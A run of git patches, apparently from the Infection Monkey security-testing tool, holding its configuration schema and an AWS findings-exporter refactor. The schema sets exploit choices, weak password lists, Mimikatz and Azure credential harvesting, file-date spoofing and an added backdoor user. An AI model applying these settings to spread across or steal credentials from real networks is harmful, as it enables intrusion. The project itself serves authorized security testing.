"enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovy Exploiter" + }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + }, + { + "type": "string", + "enum": [ + "MySQLFinger" + ], + "title": "MySQLFinger" + }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + + { + "type": "string", + "enum": [ + "ElasticFinger" + ], + "title": "ElasticFinger" + } + ] + } + }, + "properties": { + "basic": { + "title": "Basic - Credentials", + "type": "object", + "properties": { + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "basic_network": { + "title": "Basic - Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should scan its subnets additionally" + }, + "depth": { + "title": "Distance from island", + "type": "integer", + "default": 2, + "description": + "Amount of hops allowed for the monkey to spread from the island. " + + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating too far" + }, + "subnet_scan_list": { + "title": "Scan IP/subnet list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "List of IPs/subnets the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" + } + } + } + } + }, + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 30, + "description": "Determines the maximum number of machines the monkey is allowed to scan" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": + "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating to " + "a high number of machines" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": + "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": + "Determines whether the monkey should retry exploiting machines" + " it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": + "The name of the mutex used to determine whether the monkey is already running" + }, + "keep_tunnel_open_time": { + "title": "Keep tunnel open time", + "type": "integer", + "default": 60, + "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "description": "Determines which classes to use for fingerprinting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "%windir%\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should set the monkey's file date to be the same as" + " another file" + }, + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", + "type": "string", + "default": "%windir%\\system32\\kernel32.dll", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Windows (use fullpath)" + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Linux (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", + "type": "string", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should try to move itsel instead of copying itself" + " to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "%temp%\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default": "%temp%\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + }, + "send_log_to_server": { + "title": "Send log to server", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey sends its log to the Monkey Island server" + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": { + "type": "string" + }, + "description": "List of SSH key pairs to use, when trying to ssh into servers" + } + } + } + } + }, + "cnc": { + "title": "Monkey Island", + "type": "object", + "properties": { + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "192.0.2.0:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": + "List of internet services to try and communicate with to determine internet" + " connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "192.0.2.0:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "exploiter_classes": { + "title": "Exploits", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" + ], + "description": + "Determines which exploits to use. " + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service" + }, + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": False, + "description": "Determines whether the monkey should skip the exploit if the monkey's file" + " is already on the remote machine" + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine" + " (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": + "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} \ No newline at end of file From b536083573b4206c2029dac3f7b41cc9ce1518b5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:08:09 +0200 Subject: [PATCH 42/89] Remove debug print on what users/passwords to try --- monkey/infection_monkey/monkey.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index efdb43a3c..30eb57f1c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -120,9 +120,6 @@ class InfectionMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() - LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) - LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) - self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes From 3ca5119e03175dfc9383b9e7c963371674ca2a3b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:25:47 +0200 Subject: [PATCH 43/89] Remove debug print on what users/passwords to try --- monkey/infection_monkey/network/network_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8fd8c2b65 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -106,8 +106,8 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + time.sleep(WormConfiguration.tcp_scan_interval) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 43896ed7183090bf808af4bc9d78bdfba89f886c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:27:57 +0200 Subject: [PATCH 44/89] Set default scan interval to 0 --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/services/config_schema.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..28c9c249f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..e81029b79 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -79,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..8704cbf19 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -817,7 +817,7 @@ SCHEMA = { "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", - "default": 200, + "default": 0, "description": "Time to sleep (in milliseconds) between scans" }, "tcp_scan_timeout": { From 7f3ee6952758e4a95ea3c42a36f46e3a062b726e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:51:07 +0200 Subject: [PATCH 45/89] - Created the exporter_init file, in there the exporter manager singleton is created and populated with the relevant exporters (the aws exporter in this case) - changed the report file to use the new exporter manager singleton - changed the finding structure in the aws_exporter.py, divided it to creation functions and cleaned the code. --- monkey/monkey_island/cc/exporter_init.py | 17 + monkey/monkey_island/cc/main.py | 3 + .../cc/report_exporter_manager.py | 32 + .../cc/resources/aws_exporter.py | 613 ++++++------------ monkey/monkey_island/cc/services/report.py | 9 +- .../monkey_island/report_exporter_manager.py | 40 -- 6 files changed, 261 insertions(+), 453 deletions(-) create mode 100644 monkey/monkey_island/cc/exporter_init.py create mode 100644 monkey/monkey_island/cc/report_exporter_manager.py delete mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py new file mode 100644 index 000000000..c2285772e --- /dev/null +++ b/monkey/monkey_island/cc/exporter_init.py @@ -0,0 +1,17 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.report_exporter_manager import ReportExporterManager +from cc.resources.aws_exporter import AWSExporter + + +def populate_exporter_list(): + + manager = ReportExporterManager() + if is_aws_exporter_required(): + manager.add_exporter_to_list(AWSExporter) + + +def is_aws_exporter_required(): + if str(load_env_from_file()) == AWS: + return True + else: + return False diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 86015b5d4..a6ded6628 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -34,6 +34,8 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) + + app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) @@ -44,6 +46,7 @@ def main(): http_server.listen(env.get_island_port()) logger.info( 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + IOLoop.instance().start() diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py new file mode 100644 index 000000000..210f28966 --- /dev/null +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -0,0 +1,32 @@ +import logging + +logger = logging.getLogger(__name__) + + +class Singleton(type): + _instances = {} + + def __call__(cls, *args, **kwargs): + if cls not in cls._instances: + cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) + return cls._instances[cls] + + +class ReportExporterManager(object): + __metaclass__ = Singleton + + def __init__(self): + self._exporters_set = set() + + def get_exporters_list(self): + return self._exporters_set + + def add_exporter_to_list(self, exporter): + self._exporters_set.add(exporter) + + def export(self, report): + try: + for exporter in self._exporters_set: + exporter().handle_report(report) + except Exception as e: + logger.exception('Failed to export report') diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 735de6584..8890342dd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -87,6 +87,7 @@ class AWSExporter(Exporter): "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": account_id, + "RecordState": "ACTIVE", "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -120,488 +121,288 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines were able to communicate over unused ports.", - "Description": "Use micro-segmentation policies to disable communication other than the required.", - "Remediation": { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ + def _get_finding_resource(instance_id, instance_arn): + if instance_id: + return [{ "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) + "Id": instance_arn.format(instance_id=instance_id) }] else: - finding["Resources"] = [{'Type': 'Other'}] + return [{'Type': 'Other'}] + + @staticmethod + def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + finding = { + "Severity": { + "Product": severity, + "Normalized": 100 + }, + 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title": title, + "Description": description, + "Remediation": { + "Recommendation": { + "Text": recommendation + } + }} return finding + @staticmethod + def _handle_tunnel_issue(issue, instance_arn): + + return AWSExporter._build_generic_finding( + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than the required.", + recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) + @staticmethod def _handle_sambacry_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", - "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=5, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - "Remediation": { - "Recommendation": { - "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_elastic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", - "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines from different segments are able to communicate.", - "Description": "Segment your network and make sure there is no communication between machines from different segments.", - "Remediation": { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + + return AWSExporter._build_generic_finding( + severity=1, + title="Weak segmentation - Machines from different segments are able to communicate.", + description="Segment your network and make sure there is no communication between machines from different segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue['server_networks']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + issue['server_networks']), + 